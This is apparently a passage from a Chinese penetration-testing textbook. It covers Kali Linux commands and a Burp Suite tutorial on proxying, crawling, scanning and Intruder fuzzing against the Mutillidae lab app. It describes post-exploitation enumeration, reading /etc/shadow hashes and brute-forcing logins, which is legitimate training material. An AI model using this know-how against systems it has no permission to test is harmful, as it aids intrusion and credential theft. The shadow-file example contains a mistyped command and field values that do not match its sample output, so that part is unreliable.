如果您想从 GitHub 存储库下载一个工具包,请使用以下命令(要获取 URL,在存储库主页上,点击克隆或下载按钮,URL 将显示):
git clone [Github repo URL]
Debian 的软件包管理系统
此打包系统使用dpkg命令来安装、删除和查询软件包。
使用 dpkg 命令
接下来的命令是我经常使用的最常见的命令,但如果您好奇并想了解更多关于所有命令的信息,那么在您的终端中执行以下命令:
- 要获取
dpkg命令的help说明,请使用以下命令:
dpkg --help
您可以使用--help查看您喜欢的任何命令的说明。此外,您还可以使用手册命令:
man [应用程序名称]
- 要列出 Kali 上安装的所有软件包,请使用以下命令:
dpkg -l
您可以在后渗透阶段使用dpkg -l命令列出受损 Linux 系统上安装的所有应用程序。
- 要查找系统上已安装的特定应用程序,请使用以下命令:
dpkg -l | grep [application name]
- 要安装新下载的
.deb应用程序,请使用以下命令:
dpkg -i [path\filename.deb]
- 要卸载已安装的应用程序,请使用以下命令:
dpkg -r [application name]
处理 Kali 中的文件系统
我可以为这一部分写一本整书,但我会尽力向您展示作为渗透测试人员必备的命令。
在开始列出所有命令之前,我想分享一个独特的命令行工具,您需要在开始使用本章中的任何工具之前掌握它。您可能已经猜到了,它被称为帮助选项!这个选项将为您提供关于您即将执行的命令的有用信息。
例如,如果您想列出目录的内容并且不确定命令的选项,只需附加--help选项,您就能查看命令的所有可能功能:

准备好了吗?这将是一个很长的列表(类似备忘单)。我们开始吧:
- 要列出目录和文件,请使用以下命令:
ls
- 要以格式化方式(
-l)列出隐藏项目(-a),请使用以下命令:
ls -la
- 要以人类可读的格式列出文件和目录,请使用以下命令:
ls -lh
- 要将当前目录更改为新目录,请使用以下命令:
cd [directory path]
- 要打印当前工作目录,请使用以下命令:
pwd
- 要创建新目录,请使用以下命令:
mkdir [path/directory name]
- 要删除文件,请使用以下命令:
rm [path/file name]
- 要删除目录,请使用以下命令:
rm -r [path/directory name]
- 要将文件复制到新位置,请使用以下命令:
cp [path1/file name] [path2/filename]
- 要将目录复制到新位置,请使用以下命令:
cp -r [path/directory name]
- 要移动/重命名文件或目录,请使用以下命令:
mv [path1/file name] [path2/file name]
mv [path1/directory name] [path2/directory name]
- 要创建一个空文件,请使用以下命令:
touch [path/new file name]
- 要显示文件内容,请使用以下命令:
cat [path/file name]
more [path/file name]
#list the first 10 lines
head [path/file name]
#list the last 10 lines
tail [path/file name]
- 要打开文本文件进行编辑,请使用以下命令:
gedit [path/file name]
#Terminal window text editor (Some people use the Vim editor but that's not my choice)
nano [path/file name]
- 要在 Kali 系统上查找文件,请使用以下命令:
locate [file name]
find [Path where to start the search] -name [file name patterns]
- 用于列出系统上的驱动器(分区)(例如,
/dev/sda1 或 /dev/sda2)的命令如下:
fdisk -l
- 要挂载一个未挂载的分区,请使用以下命令:
mount [path source] [path destination]
#Example mounting a hidden windows drive that is already installed on the same machine
#Already executed $fdisk -l and saw a drive /dev/sda2
mount /dev/sda2 /mnt/windowsmount
- 要检查文件类型,请使用以下命令:
file [path/file name]
- 要为文件添加执行权限(有时您需要此权限,因为默认情况下无法执行文件),请使用以下命令:
chmod +x [path/file name]
- 要将终端窗口的输出重定向到文件,请使用以下命令:
[command] > [path/filename]
#Example to save the ls command output to a file called output.txt
ls -lh > /root/temp/output.txt
- 要过滤文本文件或命令终端输出中的文本,请使用以下命令:
grep [text to filter]
grep命令最常与Pipe符号|一起使用,用于过滤从终端窗口输出的文本。例如,要过滤名为config.txt的文本文件中的password,您可以使用以下命令:
cat config.txt | grep password
文件压缩命令
您可以使用以下命令在任何 Linux Debian 发行版上管理压缩文件:
- 以下命令创建
file.tar,包含文件:
tar cf [file.tar] [files]
- 以下命令从
tar文件file.tar中提取文件:
tar xf [file.tar]
- 以下命令创建带有 Gzip 压缩的
tar文件:
tar czf [file.tar.gz] [files]
- 以下命令使用 Gzip 提取
tar文件:
tar xzf [file.tar.gz]
- 以下命令创建一个带有 bzip2 压缩的
tar文件:
tar cjf [file.tar.bz2]
- 以下命令提取一个 bzip2 压缩的文件:
tar xjf [file.tar.bz2]
- 以下命令使用
gzip压缩文件(或多个文件):
gzip [files]
- 以下命令解压一个压缩的
gz文件:
gzip -d [file.gz]
- 以下命令解压一个 ZIP 文件:
unzip [file.zip]
安全管理
在 Kali 中管理用户不是日常任务,但你可能会偶尔使用它。就个人而言,我很少使用以下命令,但有时你可能需要处理用户管理:
- 要在 Kali 中为用户
sudo权限添加一个用户,使用以下命令:
useradd -m [username] -G sudo -s /bin/bash
- 如果你已登录并想提升权限为 root 用户,尝试以下命令:
su - [desired root user name]
- 如果你已登录并想执行 root 命令,使用以下命令:
sudo [application name]
- 要更改 root(或任何用户)的密码,使用以下命令:
passwd [user name]
shadow文件在 Kali 中非常重要,因为它存储了哈希密码以及一些关于用户的有用信息。例如,我在 Kali 上创建了一个名为gus的用户,所以,要获取他的相关信息,我应该执行以下命令:
ls /etc/shadhow | grep gus
#output
gus:$6$mNP6T4jA$sn0eAgo7o1pjSUxe6loigq1wWhC4agpWpWopv0mVBr2V21ZfU./hAMPJTO/7Ecajd0SVozLGwDOrc37hN1ktL0:17517:0:99999:7:::
我们来看一下输出中每个以:分隔的字段:
-
第一个字段显而易见;它是用户名(
gus) -
第二个字段是哈希后的密码(
$6表示它使用的是 SHA-512 算法) -
第三个字段(
17515)是密码更改时的 Unix 时间(天数) -
第四个字段(
0)指定密码更改之间所需的天数 -
第五个字段(
9999)指定需要更改密码后的天数 -
下一个字段(
7)表示在要求更改密码之前的天数,并且用户会收到警告
安全外壳协议
安全外壳协议 (SSH) 是一种网络协议,用于在服务器和客户端之间建立加密通信,使用 TCP 协议。SSH 服务基于 TCP,并默认监听22端口。一般来说,公私钥对允许用户在不需要密码的情况下登录系统。公钥存在于所有需要安全连接的系统中,而用户将私钥保存在安全的位置。在目标系统上,公钥会与被授权的密钥列表进行验证,以允许远程访问服务器。当公钥的加密强度不足时,SSH 可能会受到威胁,并且有可能被猜测。
- 启动 SSH 服务,使用以下命令:
service ssh start
- 要检查服务是否正常运行,使用以下命令:
netstat -antp|grep sshd
# or
service ssh status
- 要启用服务在启动时自动启动,使用以下命令:
systemctl enable ssh
- 要停止 SSH 服务,使用以下命令:
service ssh stop
- 要连接到远程 SSH 服务器,使用以下命令:
ssh [username@IP]
- 要连接到使用自定义
端口号(而非22)的 SSH 服务器,使用以下命令:
ssh -p [port number]
- 要生成一个新的 SSH 密钥,使用以下命令:
dpkg-reconfigure openssh-server
-
要允许 root 用户远程登录 SSH,执行以下操作:
-
打开文件
/etc/ssh/sshd_config -
将 PermitRootLogin 参数改为 Yes,并重启 SSH 服务器
-
如你所猜测的那样,要管理任何服务,你可以使用以下命令:
service [service name] start (启动服务)
service [service name] stop (停止服务)
service [service name] restart (重启服务)
service [service name] status (获取服务状态)
在 Kali 中配置网络服务
我会尽力展示每个部分所需的命令。你不需要了解所有 Kali 中管理网络服务的命令,但你肯定会用到其中的一些命令。在本节中,我将向你展示我最喜欢的 Kali Linux 网络服务相关命令。
为了正确操作 Kali,你需要确保它能连接到有线或无线网络。你可能需要通过 动态主机配置协议(DHCP)获取 IP 地址,或者静态分配一个地址。
第一个重要的命令是 ifconfig,你将用它来检查 Kali 机器上的 IP 地址:

在执行这个命令后,你可以看到我的 Kali IP 地址,10.0.0.197(在前面的截图中)。另外,你需要注意网络接口名称——eth0 代表以太网线,操作系统会为其分配一个编号(在这个例子中是 0)。如果你连接了另一根以太网线,你可能会看到另一个接口,叫做 eth1。如果你连接了无线适配器(或者它是内置的),Kali 会显示另一个接口,叫做 wlan0。
在前面的示例中,我们从 DHCP 服务器获取了一个动态 IP 地址。如果由于某种原因你想刷新 IP 地址,可以执行以下命令:
dhclient [interface name]
#Example
dhclient eth0
在 Kali 中设置静态 IP
有时,你需要为 Kali Linux 配置一个专用的静态局域网 IP 地址。一个非常实际的场景是,当你值班时,你想避免与客户端(或雇主)的 DHCP 服务器通信,保持低调。另一个静态 IP 地址的用途是,如果你有一个独立的 VLAN,想手动加入它。
让我们看看如何实现静态 IP 地址:
- 首先,使用你喜欢的文本编辑器打开文件
/etc/network/interfaces:

我将在文件末尾添加一个新的静态 IP 地址,10.0.0.99,属于 10.0.0.0/24 网络。在你的情况下,网络可能是 192.168.0.0/24。至于我,我使用的是 10.0.0.0 网络架构:
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
source /etc/network/interfaces.d/*
# The loopback network interface
auto lo
iface lo inet loopback
#Static IP Address
auto eth0
iface eth0 inet static
address 10.0.0.99
netmask 255.255.255.0
network 10.0.0.0
broadcast 10.0.0.255
gateway 10.0.0.1
- 保存文件(Ctrl + S),并重启 Kali 机器。(提示:我将在终端窗口使用
reboot命令重启 Kali。)重启后,执行ifconfig命令,你应该能看到设置的新 IP 地址。然后,你就可以开始使用了:

检查 Kali 中的活动连接
网络统计(netstat)是一个命令行工具,用于显示 Kali 上的活动网络连接。它用于发现问题(例如,查找正在监听传入连接的恶意软件,或试图联系外部(外发)服务器的恶意软件)。netstat 有很多用途。大多数情况下,netstat 会与 grep 命令结合使用,以过滤输出结果:
netstat -antp
-
-a:显示监听和非监听的套接字。 -
-n:显示数字地址,而不是尝试确定符号主机、端口或用户名。 -
-t:显示 TCP 连接。 -
-p:显示进程标识符(PID)和每个套接字所属程序的名称:

正如您在上面的截图中所看到的,我的 Kali 主机正在侦听端口80,因为我已经启动了 Apache web 服务器服务。
要在 Kali 上启动 Apache web 服务器,请执行命令service apache2 start。
进程管理命令
一般来说,Kali Linux 是一个稳定的系统。然而,事情偶尔可能出错,有时,我们会希望调整系统以更好地满足我们的需求。在本节中,我们将简要介绍如何在 Kali Linux 系统上管理进程。
Htop 实用程序
在我开始列出 Kali 中管理进程的所有内置命令之前,有一个我总是使用的方便工具。不幸的是,它在 Kali 上没有预安装。它被称为htop。这个命令行工具在终端窗口中以一个漂亮、用户友好的布局列出所有正在运行的进程:
#To install it
apt-get install htop
# To execute it
htop
通过使用htop,我可以看到我有一个几乎满的内存问题。这告诉我应该增加这个虚拟机的内存设置。
进程管理的常用命令
我们还没有完成;以下是在使用 Kali Linux 时非常有用的一些进程管理命令:
- 要显示所有活动进程,请执行以下命令:
ps
如果你有一个远程 shell 连接到 Linux 主机,并且想要列出所有当前进程以进行权限提升,ps命令非常有用。
- 要显示所有正在运行的进程,请使用以下命令:
top
- 要终止具有 ID(
PID)的进程,请使用以下命令:
kill [PID Number]
- 要终止所有名为
hello的进程,请使用以下命令:
killall hello
- 要强制终止一个进程,请使用以下命令:
kill -9 [PID Number]
系统信息命令
这一部分在后渗透阶段将非常有用。
假设您刚刚在 Linux 主机上提升了权限;您如何知道自己是否真的是管理员?只需执行id命令,您将得到结果。不要低估这一部分!仔细审查,并查看您可以在 Linux 机器后渗透阶段利用的命令:
- 要显示当前主机的运行时间,请使用以下命令:
uptime
- 要显示当前登录用户,请使用以下命令:
w
whoami
- 要显示您是谁(作为用户),请使用以下命令:
id
- 要显示有关用户的信息,请使用以下命令:
finger [user name]
- 要显示内核信息,请使用以下命令:
uname -a
- 要显示 CPU 信息,请使用以下命令:
cat /proc/cpuinfo
- 要显示内存信息,请使用以下命令:
cat /proc/meminfo
- 要显示磁盘使用情况,请使用以下命令:
df
- 要显示内存和交换使用情况,请使用以下命令:
free
- 要搜索先前执行的所有命令,请使用以下命令:
**history**
- 要检测 GPU 型号,请使用以下命令:
lspci | grep VGA
摘要
又一章已经完成。你现在比昨天更聪明了。命令那么多,对吧?别担心,你不需要记住所有这些命令。你随时可以回到这一章,并将其作为你终端窗口忍者技能的参考。
如你所察觉,我直接切入主题,不会浪费你时间去讲那些无用的信息和你在职业生涯中永远用不上的琐碎细节。希望你喜欢这一章,并学到了一些新知识,这样你就可以开始使用你的 Kali Linux 小机器了。
第四章:关于使用 Burp Suite
你距离成为应用安全测试专家越来越近了。本章将介绍一个令人惊叹的应用——Burp Suite。它是进行 Web 应用安全测试的必备工具。我不是要推销这个应用,而是基于我作为 Web 应用渗透测试员的个人经验,给出一个诚实的意见。Burp 是由 PortSwigger Ltd.开发的。我无法足够感谢他们,感谢他们让我们可以测试 Web 应用,确保它们能够抵御各种威胁。
你可能会想,为什么选择 Burp?为什么不选择市场上那些花哨的、昂贵的一键式工具呢?
首先,仅仅因为它们很贵并不意味着它们就是好的;其次,不要盲目跟随 Gartner 图表的排名。当大公司出现在 Gartner 图表的顶部时,它们会提高价格;它们是大企业,想赚取巨额利润。另一方面,Burp 仅需每年 350 美元,提供多种选项(从手动到自动化测试),相比其他大品牌扫描工具每年需花费数千美元。当你从事安全领域工作时,你会对这些工具的高价感到震惊。作为专业人士,我们的工作是帮助客户或公司根据预算选择合适的工具,同时确保提供专业的成果。
假阳性(扫描器标记的虚假漏洞)永远存在,而你的工作就是区分真实的漏洞和虚假的漏洞。在没有理解报告内容的情况下,绝不要复制粘贴任何报告的内容。尝试测试一个漏洞,确保它是真的,然后再将其写入最终报告中。
在本章中,我将尽力覆盖 Burp Suite 的各个方面,包括以下内容:
-
介绍 Burp Suite
-
使用 Burp Suite 的实际示例
-
如何使用 Burp Proxy
-
如何安装 Burp SSL 证书
-
如何爬取 Web 应用
-
如何使用 Burp 查找隐藏项
-
使用 Burp 漏洞扫描器
-
如何使用 Repeater 标签
-
探索 Intruder 标签的功能
-
如何在 Burp 中安装额外的应用
Burp Suite 简介
Burp Suite 是一个简洁的 Web 应用安全测试平台。这个应用包含了许多工具,组合在一起形成了一个强大的测试工具,能够帮助你测试 Web 应用的每个组件。
在需要检查网站安全强度、会话令牌的可预测性或应用程序中检查点数据有效性时,Burp 将成为关键工具。此外,Burp 还支持详细的手动评估和自动化技术组合,从而进行 Web 应用安全分析的枚举和分析。
Burp 提供两个版本可以下载:
-
Burp Suite 社区版(已预装在 Kali 上)
-
Burp Suite 专业版(需要每年许可证,大约 350 美元/年)
总结:Burp 是一个本地 web 代理,允许您手动修改、拦截和检查用户浏览器与目标网站之间的 HTTP/S 请求和响应。在用户手动浏览 web 应用程序时,工具会拦截所有访问页面的必要细节。服务器和浏览器之间的流量可以被分析、修改、可视化,并最终多次重复。Burp 的专业版允许您扫描并发现 web 应用程序的漏洞。
Burp Suite 中包含的不同工具可以在标签区看到(见下图):

-
目标:该工具允许您以与网站 URL 结构对应的文件夹结构层次来可视化目标应用程序的内容。本节展示了通过手动浏览网站页面所发现的所有内容。
-
代理:这是 Burp 的主要引擎,它允许拦截和修改所有 web 流量。
-
蜘蛛工具:这是一个 web 蜘蛛工具,能够爬取应用程序以定位内容和功能。
-
扫描器:这是一个 web 漏洞扫描工具,能够自动发现多种类型的 web 漏洞(SQL 注入、XSS 和 CSRF)。此功能仅在专业版中提供。
-
入侵者:这是一个强大的工具,用于对 web 应用程序进行自动化的定制化攻击。我称之为 web fuzz 工具;web fuzzing 通常包括向目标应用程序发送意外的输入。这个过程有助于识别 web 应用程序的安全漏洞。
-
重发器:顾名思义,它用于手动修改并重新发送 web 请求。
-
序列器:此工具分析应用程序会话令牌或其他重要数据项的随机性质量,这些数据项应该是不可预测的。
-
解码器:此工具用于编码和解码数据。
-
比较器:Burp Comparer 是一个方便的工具,用于执行任何两项数据(如相似的 web 响应)之间的视觉差异对比。
-
扩展工具:Burp Extender(BApp Store)允许您加载 Burp 扩展,这些扩展通过使用第三方应用程序扩展 Burp 的功能。
一个快速示例
在我深入讲解各部分功能之前,最好从一个简单的示例开始,这样您可以快速了解如何使用这个强大的应用程序。 “不只是说,而是通过实践!”
这将是一个过于简化的示例,因此我不会进入过多的细节。我希望您理解大致框架。稍后在本章中,您将学习到各个功能的具体细节:
-
启动 Burp,并在 Kali Linux 中打开浏览器(我已经在 Firefox 中设置了代理设置;稍后我会展示如何设置)。
-
浏览到 Mutillidae 主页;您会发现页面未加载,这是正常的,因为 Burp 中的代理已拦截请求,并正在等待您采取行动。
-
切换到 Burp,您将在代理/拦截部分看到 Web 请求。此时,您可以更改请求,但我将仅使用“转发”按钮将其发送到服务器:

-
当您单击“转发”按钮时,Burp 将请求发送到 Web 服务器。如果您在选项标签中启用了拦截响应的选项,那么您也会看到响应。
-
默认情况下,响应不会被拦截;如果您想更改此行为,请转到选项标签,并确保以下设置:

前述设置是我每天在 Burp 中进行请求和响应拦截时使用的设置(默认情况下,你会有不同的请求/响应拦截设置)。
-
接下来做什么?通过单击“转发”按钮,让响应返回客户端。然后,通过单击“拦截已开启”按钮关闭拦截。请注意,通过单击此按钮,Burp 仍然会收集 Web 请求/响应,但它们不会阻止页面加载,并且不会给您拦截和更改内容的机会。
-
现在我将返回 Mutillidae 网站并尝试登录,然后手动浏览几页,因为我希望 Burp 开始识别此网站的结构。现在,返回 Burp 并单击“目标”选项卡,您应该看到类似以下内容:

- 看起来 Burp 拦截了我浏览器尝试连接的所有内容,这是正常的,因为我还没有过滤或设置范围。要做到这一点,我将右键单击 Mutillidae 服务器 IP 地址,然后选择添加到范围:

- 我还没有完成;我们仍然需要清理混乱,只显示站点地图树中的范围内项目。要实现这一点,请单击“过滤器:隐藏未找到的项目”部分,会出现一个菜单。选中复选框以“仅显示范围内项目”:

好了!你已经完成了这个基础教程。在完成所有上述步骤之后,渗透测试员可以做以下事情:
-
爬取Web 应用程序分支
-
发现隐藏内容
-
检查每个页面的 Web 请求/响应
-
被动地扫描Web 应用程序
-
主动扫描Web 应用程序
-
使用入侵者和重复器标签执行一些手动测试
-
测试假阳性的漏洞
-
生成报告
如果您已购买 Burp Pro,则可以通过以下命令在终端窗口中启动它:
java -jar -Xmx2G /[path]/[burp.jar]
使用 Burp Target 可视化应用结构。
在前一部分中,你看到了如何通过 Burp 在 Target 标签下映射一个应用。在本节中,我希望你了解 Burp Target 的工作原理(以简化的方式),这样你在进行渗透测试时就可以处理工作流程。
Burp Target 工具为你提供了以下功能(我只列出重要的功能):
-
使用 Site Map 标签可视化应用结构。
-
使用 Add To Scope 定义目标网站的范围。
-
使用 Spider this branch 对 web 应用进行爬虫,以发现更多内容。
-
使用 Discover Content 功能搜索隐藏内容。
-
使用 Passively Scan this branch 进行被动扫描,以识别一些漏洞。
-
使用 Engagement Tools 菜单列出评论、脚本和参考。
-
分析 web 应用目标,使用 Analyze Target 来识别所有动态 URL 和参数。
-
发送 web 请求到其他工具标签(例如,Repeater、Sequencer、Decoder、Comparer 和 Intruder)。
-
使用 Actively scan this branch 进行全面的 web 应用漏洞扫描。
-
使用 Issues/Report issues 为该分支保存报告:

如你所见,Target 标签是你使用 Burp 启动所有操作的控制面板。你将经常花时间在这一部分/标签上。从前面的截图来看,你可以看到中间部分,所有的web 请求/响应都列出了(在 Contents 部分),以便进一步分析。在屏幕的右侧,Burp 显示了 Issues 和 Advisory,帮助你修复每一个缺陷。是不是很棒?
使用 Burp Proxy 拦截请求/响应。
Proxy 工具是 Burp 的核心。简而言之,它会拦截你尝试通过浏览器手动访问的所有请求和响应。它作为一个 web 代理服务器工作,位于你的浏览器和目标 web 服务器之间,充当中间人。这使你能够拦截、检查和修改双向传输的原始流量(请求/响应):

在浏览器中设置代理。
我假设你正在使用 Kali Linux 进行 web 应用渗透测试,所以你将使用 Firefox 或 Iceweasel 浏览器。你可以安装 Chrome,但我使用的教程是针对 Firefox 的(如果你使用 Chrome,不用担心,设置应该与 Firefox 非常相似)。
默认情况下,Burp 的端口代理号是 8080,可以在 Proxy 标签下的 Options 子标签中进行更改:

打开 Firefox,从菜单中选择“偏好设置”。点击左侧菜单中的“高级”选项卡;之后,选择顶部菜单中的“网络”选项卡,然后点击连接部分中的“设置”按钮。最后,在“手动代理配置”部分输入代理设置(见以下截图):

-
在完成渗透测试后别忘了禁用代理,否则当你关闭 Burp 时,浏览器将无法加载任何页面。
-
确保“无代理的:”文本框不包含
127.0.0.1:8080,否则 Burp 将无法拦截连接。 -
有一个非常简单的快捷方式,可以避免手动进行所有这些更改。你可以使用 Firefox 的 FoxyProxy 插件,试试看!
BURP SSL 证书
为了最有效地使用 Burp Proxy 与 HTTPS 网站,你需要将 Burp 的 CA 证书安装为浏览器的受信根证书。如果你还没有这样做,配置浏览器使用 Burp 作为其代理,并将 Burp 配置为生成 CA 签名的每个主机证书(这是默认设置)。让我们看看如何在 Kali 的 Firefox 浏览器中安装它:
- 打开 Firefox 并访问
http://burp,然后点击 CA 证书按钮,将其下载到本地的Downloads文件夹:

- 下载 CA 文件后,从菜单中打开 Firefox 偏好设置。点击左侧菜单中的“高级”选项卡;之后,选择顶部菜单中的“证书”选项卡,点击“查看证书”按钮。最后,点击“导入”按钮安装你刚刚从 Burp 下载的证书(见以下截图):

Burp Proxy 选项
在我之前与您分享的实际示例中,我向您展示了我的请求/响应配置,位于 Proxy/Options 选项卡中。查看一下,并尝试实现它,如果这是你在 Web 入侵测试中需要的内容。
我拦截请求/响应的原因如下:
-
检查请求/响应的内容以进行分析
-
截取请求以覆盖 JavaScript 验证
-
当我需要覆盖服务器发送的任何值(例如,任何头部值)时,拦截响应
一个有趣的配置部分是响应修改(Response Modification),它允许你自动取消隐藏表单字段或移除 JavaScript 表单验证:

使用 Burp Spider 爬取 Web 应用
这里的思路很简单:你需要做的就是找到目标范围内 Web 应用的所有页面。有三种方法可以完成这个任务:
-
使用 Intruder 工具手动爬取
-
使用 Burp Spider 自动爬取
-
使用 Discover Content 工具自动查找隐藏项目
使用 Intruder 工具手动爬取
在某些情况下,你可能希望使用预定义的字典文件进行手动爬取,若要执行此操作,请按照以下步骤进行:
- 选择根路径;在我们的示例中,它是
mutillidae,因为这是我们开始爬取的起点。接下来,右键点击请求并将其发送到 Intruder 标签:

- 此时,Intruder 标签将开始闪烁,表示它已经准备好(让我们点击 Intruder 标签)。你首先会看到的是 Target 部分;保持不变,然后继续到 Positions 部分:

- 在 Positions 子标签中,将攻击类型保持为 Sniper,并在
mutillidae/后面写下任何单词(在我的例子中,我选择了单词attack)。然后,我们需要确保清空所有内容,因此点击 Clear 按钮以删除任何预生成的位置:

- 然后,选择你刚才写的单词。在前面的截图中,我选择了单词
attack并点击 Add 按钮,告诉 Burp 这是我要进行目录模糊处理的地方:

- 之后,点击 Payloads 标签,并确保 Payload 类型为简单列表。接下来,从 Add from list ... 下拉菜单中选择 Directories – short。现在,你可以点击 Start Attack 按钮,它将启动一个弹出窗口,向你展示结果的进度:

- 最后,点击 Status 列表头来根据响应状态码对项目进行排序。对于 Mutillidae 应用,我找到了一块有趣的密码区域(见前面的截图)。我将把检查密码目录的内容留给你作为练习:
你可以使用 Repeater 标签,我们将在接下来的部分中探索它,以验证前面的发现。
自动爬取和寻找隐藏点
在上一节中,我向你展示了手动寻找有趣目录的方法,你也可以用相同的方法寻找页面。如果你没有时间并希望使用自动化方法,Burp 为你提供了一种简单的方式来扫描你的项目:
-
转到 Target 标签,在站点地图中,右键点击你的目标项目并从菜单中选择 Spider this branch。此时,Spider 标签将开始闪烁,告诉你它正在进行中;根据应用程序的深度,这个操作执行起来应该不会太长时间。
-
如果你想检查爬取进度,去 Spider 标签并选择 Control 子标签,你应该能看到那里的进度:

-
Burp 中还存在一种更强大且耗时的工具,可以查找隐藏的文件和目录。对于这个工具要小心使用,因为它很具侵略性,有时会导致网站发生故障。如果你使用它,请请求开发团队备份数据库,以防事情朝着错误的方向发展。
-
要查找隐藏内容,请右键单击目标/站点地图部分中的
Application目录。从菜单中选择 Engagement tools;然后,单击 Discover content 菜单项。执行此操作后,将出现一个弹出菜单。要运行它,您只需单击 Session is not running 按钮,高级爬行将开始执行:

使用扫描程序查找 Web 漏洞
对于有效的 Web 应用程序渗透测试,您需要进行手动测试和自动化测试。如果您只执行其中之一,那就不对了。这一直是一个争论的话题,有时我看到团队依赖花哨的自动化工具,因为他们缺乏手动测试的知识。另一方面,我见过自负自大的团队;他们认为手动测试是为精英人士准备的,认为这些测试应该足够了。我的理念是您两者都需要。在本节中,我将向您展示扫描漏洞的自动化方法。手动方法将在即将到来的章节中介绍。
在 Burp 中,第一种扫描类型是被动扫描,它涉及分析 HTTP 消息以查找某些类型漏洞的证据。它不会向服务器发送任何额外的请求。当您手动浏览时,可以通过右键单击站点地图上的目标范围来触发它。然后,从菜单中单击 Passively scan this branch。
第二种扫描技术是真正自动化模糊测试以查找 Web 应用程序漏洞的技术:
- 要执行它,只需右键单击您希望测试的目录,然后从菜单中单击 主动扫描此分支。执行此操作后,将出现一个弹出菜单。通常,我使用您在以下截图中看到的选项:

- 单击下一步,第二步将显示将在此过程中扫描的文件列表。查看它们,然后单击 OK 按钮开始扫描:

- 要查看此事件的进度,请选择扫描器选项卡,然后单击扫描队列子选项卡。首先,您将看到扫描程序已开始查找漏洞;您可以使用状态列作为扫描进度的指示器:

- 稍后,当所有状态都变为已完成状态时,您可以通过双击每个项目来查看结果:

这个对话窗口(见前面的截图)允许你分析 Burp 生成的请求,以便产生错误的响应。稍后,你将使用 Repeater 标签页来再次检查结果,并确保没有假阳性。
- 最后,是时候生成报告了。为此,请返回 Target 标签页,选择你的目标应用程序根目录(在我们的案例中,它将是
mutillidae文件夹)。右键点击并从菜单中选择 Issues,然后点击“为此分支报告问题”:

- 之后,你将看到一些需要填写的对话框;它们非常直接。我通常只是选择默认选项,直到报告以 HTML 格式生成:

在这个阶段,你的角色是识别假阳性。从逻辑上讲,当你看到 Burp 告诉你置信度是Certain(大于 90%)时,它是一个真正的漏洞。当置信度是Firm时,表示有 60%的可能性不是假阳性,而Tentative大概率是一个假阳性。Burp 将缺陷和漏洞称为问题——这是为了确保你理解该应用程序用于识别 Web 应用漏洞的术语。
请不要在没有检查假阳性问题的情况下,直接复制 Burp 报告并交给客户;如果你想有一个良好的声誉,那就不要这么做。我曾看到一些公司直接将缺陷从报告中复制出来——我认出了 Burp 报告中的字体,你可以想象我看到那份报告时的反应。
使用 Repeater 标签重放 Web 请求
如其名所示,Repeater 标签允许你手动重复 Web 请求。为什么?是为了检查 Web 响应。大多数时候,你会使用“Send to repeater”菜单项将结果发送到这个部分。之后,只需点击“Go”按钮,你就能重放请求:

以下是我在使用 Repeater 标签时会实施的检查清单:
-
测试页面的逻辑漏洞
-
生成报告后检查假阳性问题
-
更改参数值(例如,测试基于输入的漏洞)
使用 Intruder 标签进行 Web 请求模糊测试
Burp Intruder 是一个自动化怪物,它允许你对目标 Web 应用进行枚举、模糊测试并收集数据。在我刚开始使用 Burp 时,我学到的第一件事就是使用 Intruder 工具进行暴力破解登录凭证。我们将在接下来的章节中讨论更多示例,但在这一节,我希望你理解这个工具的基本用法:

Intruder 攻击类型
对初学者来说,最令人困惑的事情之一就是 Intruder 工具中的攻击类型。我会尽力以实际的方式向你解释它们,这样它们就不会成为你使用这一部分的障碍:
-
狙击手:这是最受欢迎的一种,你只能使用一个有效载荷。这个类型的有效载荷的一个实际例子就是我们之前看到的,用于模糊测试目录名称。另一个例子是模糊测试查询字符串的值。黑客在 URL 中模糊测试产品编号,以查看哪些产品在上线前有折扣。
-
攻城锤:这种攻击也使用单一有效载荷,但它允许你将相同的有效载荷插入所有定义的位置。一个实际的例子是,当你希望在表单字段和查询字符串中插入电子邮件地址时。
-
集束炸弹:这种攻击使用多个有效载荷针对每个位置(最多为 20)。换句话说,当一次攻击需要在请求中的多个位置插入不同但无关的输入时,就使用这种攻击。最好的解释方式是通过一个实际的例子,也就是密码凭证攻击——我最喜欢的那种。所以,你会在一个字段中使用用户名,在密码字段中使用密码。
-
草叉:这种攻击使用多个有效载荷针对每个位置(最多为 20)。换句话说,当一次攻击需要在请求中的多个位置插入不同但相关的输入时(与集束炸弹相反),就使用这种攻击。例如,当你希望在一个字段中插入用户名,在另一个字段中插入其关联的 ID 时。
实际示例
到现在为止,你可能已经猜到这个工具能做什么了,但让我拓宽你的想象力,给你更多的例子,让你在使用 Intruder 标签时能够应对自如:
-
枚举用户名
-
枚举账户 ID
-
枚举任何 ID(articleID、BlogID、ProductID 等)
-
枚举文档(PDF、TXT 等)
-
枚举页面
-
枚举目录
-
模糊测试漏洞
-
模糊测试用户名/密码
还有很多其他工具;这只是一个示例,包含了我每天使用的最重要的工具。希望它们也能帮助你。
使用 Burp Extender 安装第三方应用
在我开始这一部分之前,我想通知你,我在本章中没有包含 Sequencer、Decoder 和 Comparer 标签。事实上,我故意没有包含它们,因为它们的使用非常直观。在你的日常工作中,你很少使用它们,那么为什么要浪费时间呢?
Burp Extender 是一个重要的标签,它允许你在 Burp 中添加额外的强大功能。例如,如果你想增加扫描过时 JavaScript 库的功能,可以安装模块Retire.js,它会为你完成这项工作。每种需求都有相应的工具:WAF、错误、Java、.NET、SQLi、XSS 等。
在开始使用 BApp Store 之前,你需要从www.jython.org/downloads.html下载Jython独立 JAR 包。
Jython 是一个 Java 和 Python 的库,一些应用程序使用这个库,因此它是应用程序正常工作的前提。下载文件后,前往 Extender/Options 标签页,并包含你复制下载文件的路径:

要安装你最喜欢的应用,前往 BApp Store 标签页,选择适合你需求的应用,然后点击安装按钮进行安装。有时候,安装应用需要几秒钟的时间,所以请耐心等待。有些应用会在 Burp 中注入一个额外的标签页,这样你就能同时配置它并管理结果:

我经常使用这些应用,觉得应该分享一份我最喜欢的应用清单:
-
主动扫描++
-
额外的扫描器检查
-
反斜杠驱动扫描器
-
CO2
-
错误消息检查
-
JSON Beautifier
-
随机 IP 地址头
-
Retire.js
-
扫描手动插入点
-
SQLiPy
-
WAFDetect
-
单词列表提取器
如果你看到类似java.lang.OutOfMemoryError: PermGen space的错误,你可以通过以下命令启动 Burp 来解决:
java -XX:MaxPermSize=1G -jar [burp_file_name.jar]
总结
恭喜!你现在已经了解了 Burp 的方方面面。在接下来的章节中,我们将使用 Burp 进行 Web 入侵测试。我邀请你开始练习和使用 Burp,它是你进行每次 Web 应用入侵测试的瑞士军刀。如果你有条件购买许可证,现在就去做吧!它对提升和加强你的 Web 应用黑客技能非常值得。
